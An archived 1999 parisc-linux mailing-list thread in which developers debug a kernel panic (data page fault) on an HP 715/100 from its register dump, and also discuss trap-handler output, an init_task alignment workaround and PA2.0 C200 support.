Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA21289 for <parisc-linux@thepuffingroup.com>; Thu, 16 Sep 1999 14:58:14 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9912


Here's the output from the 715/100 followed by some comments:

...
mem_init 0xC01667E0 0xC1000000
mem_map c0116000
&_stext c0010000
&_data_start c0071000
start_mem c0167000
Memory: 14948k available (388k kernel code, 984k data, 64k init) [c0000000,c1000000]
here
here
here
here
here
here
here
here
here
here
VM test
c007640c c0013288 c0076000
POSIX conformance testing by UNIFIX
do_basic setup 2
do_basic setup 2
interrupted with code 15, regs c0076874
IAOQ: c0067c4c c0067c50
ISR: 00000000 IOR: c00167a8 IIR: 02a008b8
ior 00000004
sp c0076ac0
c0078000 c0078000
bad pgd 00000000 at c0078000
address 00000004 (vma)
vma 00000000
bad_area
bad address 00000004

PSW  : 0004000b  GR 1 : 00000000  GR 2 : 00014de8  GR 3 : c0079000  
GR 4 : c0079000  GR 5 : c010dd48  GR 6 : c00fe000  GR 7 : c0105800  
GR 8 : 00002000  GR 9 : 00000008  GR10 : c0015e84  GR11 : fc3ffe1f  
GR12 : 00000000  GR13 : 00000001  GR14 : 0000000a  GR15 : f0000704  
GR16 : f000b858  GR17 : 00000002  GR18 : 00000000  GR19 : c00eb92c  
GR20 : 0001aa03  GR21 : f0105800  GR22 : 00000000  GR23 : 00000060  
GR24 : f0105800  GR25 : 00000001  GR26 : c00ddc8c  GR27 : c0071000  
GR28 : 00000000  GR29 : 00000000  GR30 : 00000000  GR31 : c0017840  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  
IAOQ : c0067c4c c0067c50
SHR 1: 50000800  SHR 8: 00000008  SHR 9: c00d7000  SHR16: c0076874  
SHR17: 00000002  SHR24: f0105800  SHR25: 00000001  
Kernel panic: bad address

In swapper task - not syncing
================================================

I think this is a "Data Page Fault". The processor tried to
access an address which wasn't valid in the Page directory.
Couple of things in the trap handler would help here:
o More white space - makes what to cut/paste easier to determine
o clear text describing the fault
o In this case the offending instruction and a stack trace.
o printing the invalid address, IOAQ and general registers was good
o a message about please reset the machine to restart or something
  like that.

On a different note, the kernel prints lots of useful stuff along
with plenty of garbage. As a general rule, I would like to propose
folks use file name and line number instead of "here" and "Heya".
Remember we will be debugging stuff via other folks console output
quite a bit.

thanks,
grant

ps. Alex showed me the "la la la" work around in init_task.c.
   Is anyone already working to make this a runtime check?

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Fri, 17 Sep 1999 00:32:09 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <19990917003209.H8112@suse.de>
References: <199909162158.OAA21289@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619759 13906 80.91.229.3 (22 Nov 2014 01:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Thu Sep 16 16:30:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA04954
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 16:30:26 -0600
Original-Received: (qmail 573 invoked by uid 15267); 16 Sep 1999 22:32:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 550 invoked from network); 16 Sep 1999 22:32:16 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 16 Sep 1999 22:32:16 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 8BA9232CD6; Fri, 17 Sep 1999 00:32:15 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id B0AC167B3; Fri, 17 Sep 1999 00:32:14 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id ECCE37F8B; Fri, 17 Sep 1999 00:32:09 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909162158.OAA21289@milano.cup.hp.com>; from Grant Grundler on Thu, Sep 16, 1999 at 02:58:14PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9913

> bad address 00000004
> 
> PSW  : 0004000b  GR 1 : 00000000  GR 2 : 00014de8  GR 3 : c0079000  
> GR 4 : c0079000  GR 5 : c010dd48  GR 6 : c00fe000  GR 7 : c0105800  
> GR 8 : 00002000  GR 9 : 00000008  GR10 : c0015e84  GR11 : fc3ffe1f  
> GR12 : 00000000  GR13 : 00000001  GR14 : 0000000a  GR15 : f0000704  
> GR16 : f000b858  GR17 : 00000002  GR18 : 00000000  GR19 : c00eb92c  
> GR20 : 0001aa03  GR21 : f0105800  GR22 : 00000000  GR23 : 00000060  
> GR24 : f0105800  GR25 : 00000001  GR26 : c00ddc8c  GR27 : c0071000  
> GR28 : 00000000  GR29 : 00000000  GR30 : 00000000  GR31 : c0017840  
> SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
> SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  
> IAOQ : c0067c4c c0067c50
> SHR 1: 50000800  SHR 8: 00000008  SHR 9: c00d7000  SHR16: c0076874  
> SHR17: 00000002  SHR24: f0105800  SHR25: 00000001  
> Kernel panic: bad address
> 
> In swapper task - not syncing
> ================================================

This is a NULL pointer, and most probably a bug in the CVS tree that is
already fixed in my tree.  I will send a diff between the trees to the
list later.

> Couple of things in the trap handler would help here:
> o More white space - makes what to cut/paste easier to determine
> o clear text describing the fault
> o In this case the offending instruction and a stack trace.
> o printing the invalid address, IOAQ and general registers was good

basically look at what the x86 port does and implement it.

> On a different note, the kernel prints lots of useful stuff along
> with plenty of garbage. As a general rule, I would like to propose
> folks use file name and line number instead of "here" and "Heya".
> Remember we will be debugging stuff via other folks console output
> quite a bit.

Remember most of the messages will disappear soon (many of them as soon
as Alex finishes moving the tree to 2.2.12).  I do not intend to waste
my time changing anything outside of arch/parisc and include/asm-parisc
because that will mostly be replaced by the linus versions.

> ps. Alex showed me the "la la la" work around in init_task.c.
>    Is anyone already working to make this a runtime check?

you cannot.  not without major pain at least


	Philipp Rumpf


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Thu, 16 Sep 1999 16:44:38 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <19990916224438.6F3BB18711@security.hp.com>
References: <199909162158.OAA21289@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619759 13912 80.91.229.3 (22 Nov 2014 01:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: lamont@security.hp.com  Thu Sep 16 16:43:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA05166
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 16:43:20 -0600
Original-Received: (qmail 5016 invoked by uid 15267); 16 Sep 1999 22:45:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4989 invoked from network); 16 Sep 1999 22:45:31 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Sep 1999 22:45:31 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA09981
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Sep 1999 18:44:01 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 6F3BB18711; Thu, 16 Sep 1999 16:44:38 -0600 (MDT)
In-reply-to: Your message of "Thu, 16 Sep 1999 14:58:14 PDT."
             <199909162158.OAA21289@milano.cup.hp.com> 
Content-ID: <3191.937521877.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9914

> IAOQ: c0067c4c c0067c50
> ISR: 00000000 IOR: c00167a8 IIR: 02a008b8
> ior 00000004
> o In this case the offending instruction and a stack trace.

Interestingly, IIR (the interupting instruction register) contains
mfctl   ior,arg2, which is not what we want...  Likewise IOR (as
opposed to ior) also looks suspect.  I would wager that someone is
not saving the I* registers correctly...

lamont


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Fri, 17 Sep 1999 00:55:42 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <19990917005542.I8112@suse.de>
References: <199909162158.OAA21289@milano.cup.hp.com> <19990916224438.6F3BB18711@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619760 13917 80.91.229.3 (22 Nov 2014 01:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:20 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@security.hp.com>
Original-X-From: prumpf@suse.de  Thu Sep 16 16:53:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA05369
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 16:53:55 -0600
Original-Received: (qmail 8152 invoked by uid 15267); 16 Sep 1999 22:56:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8140 invoked from network); 16 Sep 1999 22:56:09 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 16 Sep 1999 22:56:09 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id B6CB732CD9; Fri, 17 Sep 1999 00:55:44 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 379C867B4; Fri, 17 Sep 1999 00:55:44 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 173EF7F8F; Fri, 17 Sep 1999 00:55:43 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990916224438.6F3BB18711@security.hp.com>; from LaMont Jones on Thu, Sep 16, 1999 at 04:44:38PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9915

> Interestingly, IIR (the interupting instruction register) contains
> mfctl   ior,arg2, which is not what we want...  Likewise IOR (as
> opposed to ior) also looks suspect.  I would wager that someone is
> not saving the I* registers correctly...

we don't save them at all, but directly read them.  Of course, printing them
doesn't make any sense (except for debugging the interruption code).

	Philipp Rumpf


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Thu, 16 Sep 1999 16:22:00 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <199909162322.QAA21423@milano.cup.hp.com>
References: <19990917003209.H8112@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619760 13922 80.91.229.3 (22 Nov 2014 01:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Thu Sep 16 17:28:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA05706
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 17:28:53 -0600
Original-Received: (qmail 16871 invoked by uid 15267); 16 Sep 1999 23:24:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16856 invoked from network); 16 Sep 1999 23:24:15 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Sep 1999 23:24:15 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA19471
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Sep 1999 19:23:19 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA21423; Thu, 16 Sep 1999 16:22:00 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 17 Sep 1999 00:32:09 PDT."
             <19990917003209.H8112@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9916

Philipp Rumpf wrote:

> This is a NULL pointer, and most probably a bug in the CVS tree that is
> already fixed in my tree.  I will send a diff between the trees to the
> list later.

Cool. Thanks!

> 
> > Couple of things in the trap handler would help here:
> > o More white space - makes what to cut/paste easier to determine
> > o clear text describing the fault
> > o In this case the offending instruction and a stack trace.
> > o printing the invalid address, IOAQ and general registers was good
> 
> basically look at what the x86 port does and implement it.

Ok - any volunteers?


...
> > ps. Alex showed me the "la la la" work around in init_task.c.
> >    Is anyone already working to make this a runtime check?
> 
> you cannot.  not without major pain at least

That didn't answer my question.

The right person might be able fix this without major pain.
I don't think I'm that person but I could look at it anyway
and then try to find the right person. Another OS doesn't have
this problem and obviously has solved it.

thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Fri, 17 Sep 1999 01:32:40 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <19990917013240.J8112@suse.de>
References: <19990917003209.H8112@suse.de> <199909162322.QAA21423@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619760 13924 80.91.229.3 (22 Nov 2014 01:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Thu Sep 16 17:30:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA05859
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 17:30:46 -0600
Original-Received: (qmail 19552 invoked by uid 15267); 16 Sep 1999 23:32:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19544 invoked from network); 16 Sep 1999 23:32:48 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 16 Sep 1999 23:32:48 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 43A1532CD6; Fri, 17 Sep 1999 01:32:46 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id B55D36882; Fri, 17 Sep 1999 01:32:40 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 31EAB7F8B; Fri, 17 Sep 1999 01:32:40 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909162322.QAA21423@milano.cup.hp.com>; from Grant Grundler on Thu, Sep 16, 1999 at 04:22:00PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9917

> > > Couple of things in the trap handler would help here:
> > > o More white space - makes what to cut/paste easier to determine
> > > o clear text describing the fault
> > > o In this case the offending instruction and a stack trace.
> > > o printing the invalid address, IOAQ and general registers was good
> > 
> > basically look at what the x86 port does and implement it.
> 
> Ok - any volunteers?

I am a low-priority volunteer, i.e. if noone else does it I'll do it anyway
one day.

> > > ps. Alex showed me the "la la la" work around in init_task.c.
> > >    Is anyone already working to make this a runtime check?
> > 
> > you cannot.  not without major pain at least
> 
> That didn't answer my question.
> 
> The right person might be able fix this without major pain.
> I don't think I'm that person but I could look at it anyway
> and then try to find the right person. Another OS doesn't have
> this problem and obviously has solved it.

 - we could fix our binutils and use elf instead of som.  we'll have to do
   so anyway at one point but it's a major piece of boring work

 - we could runtime-relocate init_task_union.  major pain because we would
   have to change assembly

 - we could reduce the size of task_struct and stack to 4 KB

 - we could change the way Linux allocates the kernel stack

 - we could detect at build time that init_task_union isn't aligned and work
   around it with makefile / ld magic.


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Thu, 16 Sep 1999 19:05:52 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <37E193F0.AD5E1A38@uswest.net>
References: <199909162322.QAA21423@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619761 13927 80.91.229.3 (22 Nov 2014 01:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:21 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rbradetich@uswest.net  Thu Sep 16 18:09:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA06128
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 18:08:59 -0600
Original-Received: (qmail 31077 invoked by uid 15267); 17 Sep 1999 00:11:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31068 invoked from network); 17 Sep 1999 00:11:08 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 17 Sep 1999 00:11:08 -0000
Original-Received: (qmail 20105 invoked by alias); 17 Sep 1999 00:10:14 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 20090 invoked by uid 0); 17 Sep 1999 00:10:14 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 17 Sep 1999 00:10:14 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9918

> > > ps. Alex showed me the "la la la" work around in init_task.c.
> > >    Is anyone already working to make this a runtime check?

Grant:

I'm working on getting the kernel to boot/load on a C200... would you mind
explaining the "la la la" work around in init_task.c so I'll know when I get
to that point?

Thanks,
-Ryan



From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Thu, 16 Sep 1999 19:39:47 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <19990917013948.39E7E18711@security.hp.com>
References: <19990917005542.I8112@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619761 13933 80.91.229.3 (22 Nov 2014 01:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:21 +0000 (UTC)
Cc: LaMont Jones <lamont@security.hp.com>,
        Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com,
        lamont@security.hp.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: lamont@security.hp.com  Thu Sep 16 19:39:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA06385
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 19:39:20 -0600
Original-Received: (qmail 7433 invoked by uid 15267); 17 Sep 1999 01:41:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7426 invoked from network); 17 Sep 1999 01:41:34 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Sep 1999 01:41:34 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id VAA05806
	for <parisc-linux@thepuffingroup.com>; Thu, 16 Sep 1999 21:39:11 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 39E7E18711; Thu, 16 Sep 1999 19:39:48 -0600 (MDT)
In-reply-to: Your message of "Fri, 17 Sep 1999 00:55:42 +0200."
             <19990917005542.I8112@suse.de> 
Content-ID: <4151.937532387.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9919

> we don't save them at all, but directly read them.  Of course, printing them
> doesn't make any sense (except for debugging the interruption code).

Reading them when PSW.Q=1 is undefined, and it sounds like that's where the
problem is coming from....  IIR should have had a load or store in it for
Grant's problem...  But that has to get stored before going virtual to
handle the trap...

lamont


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C200 support
Date: Thu, 16 Sep 1999 21:02:26 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <37E1AF42.EBCF0C59@uswest.net>
References: <199909170134.SAA21779@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619761 13935 80.91.229.3 (22 Nov 2014 01:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:21 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rbradetich@uswest.net  Thu Sep 16 20:54:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA06668
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 20:54:11 -0600
Original-Received: (qmail 8624 invoked by uid 15267); 17 Sep 1999 02:56:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8605 invoked from network); 17 Sep 1999 02:56:23 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 17 Sep 1999 02:56:23 -0000
Original-Received: (qmail 24675 invoked by alias); 17 Sep 1999 02:06:48 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 24662 invoked by uid 0); 17 Sep 1999 02:06:47 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 17 Sep 1999 02:06:47 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9920

Grant Grundler wrote:

> Ryan Bradetich wrote:
> > I'm working on getting the kernel to boot/load on a C200...
>
> Ryan,
> C200+ has a PA-8200 processor (PA 2.0 Arch) and C200 had the previous
> PA 2.0 processor in it. Haven't you had problems since this port
> (to date) is focused on PA1.1 architecture?
>

Yep,  I have the C200+ with the PA-8200 processor, and yes ... I've been
having lots of problems with the port, but I'm slowly working through
them :)  Unfortunately, my parisc assembly/linux internals is really,
really weak, but this gives me a good chance to learn both.


>
> I'm certain PA2.0 will be supported in the future but not today.
> I don't want to discourage you but also don't want you to
> burn out trying to make this work...

Nah, I  probably won't get burned out, but will probably keep asking
quite a few questions as I continue to learn.

>
> grant
>
> Grant Grundler
> Communications Infrastructure Computer Operations
> +1.408.447.7253


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Fri, 17 Sep 1999 03:52:57 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <19990917035257.K8112@suse.de>
References: <19990917005542.I8112@suse.de> <19990917013948.39E7E18711@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619762 13938 80.91.229.3 (22 Nov 2014 01:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:22 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@security.hp.com>
Original-X-From: prumpf@suse.de  Thu Sep 16 22:39:03 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA06991
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Sep 1999 22:39:02 -0600
Original-Received: (qmail 30834 invoked by uid 15267); 17 Sep 1999 04:37:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30826 invoked from network); 17 Sep 1999 04:37:56 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 17 Sep 1999 04:37:56 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id AB7B232CD6; Fri, 17 Sep 1999 03:52:57 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id A0B9767A7; Fri, 17 Sep 1999 03:52:57 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 9A6DB7F8B; Fri, 17 Sep 1999 03:52:57 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990917013948.39E7E18711@security.hp.com>; from LaMont Jones on Thu, Sep 16, 1999 at 07:39:47PM -0600
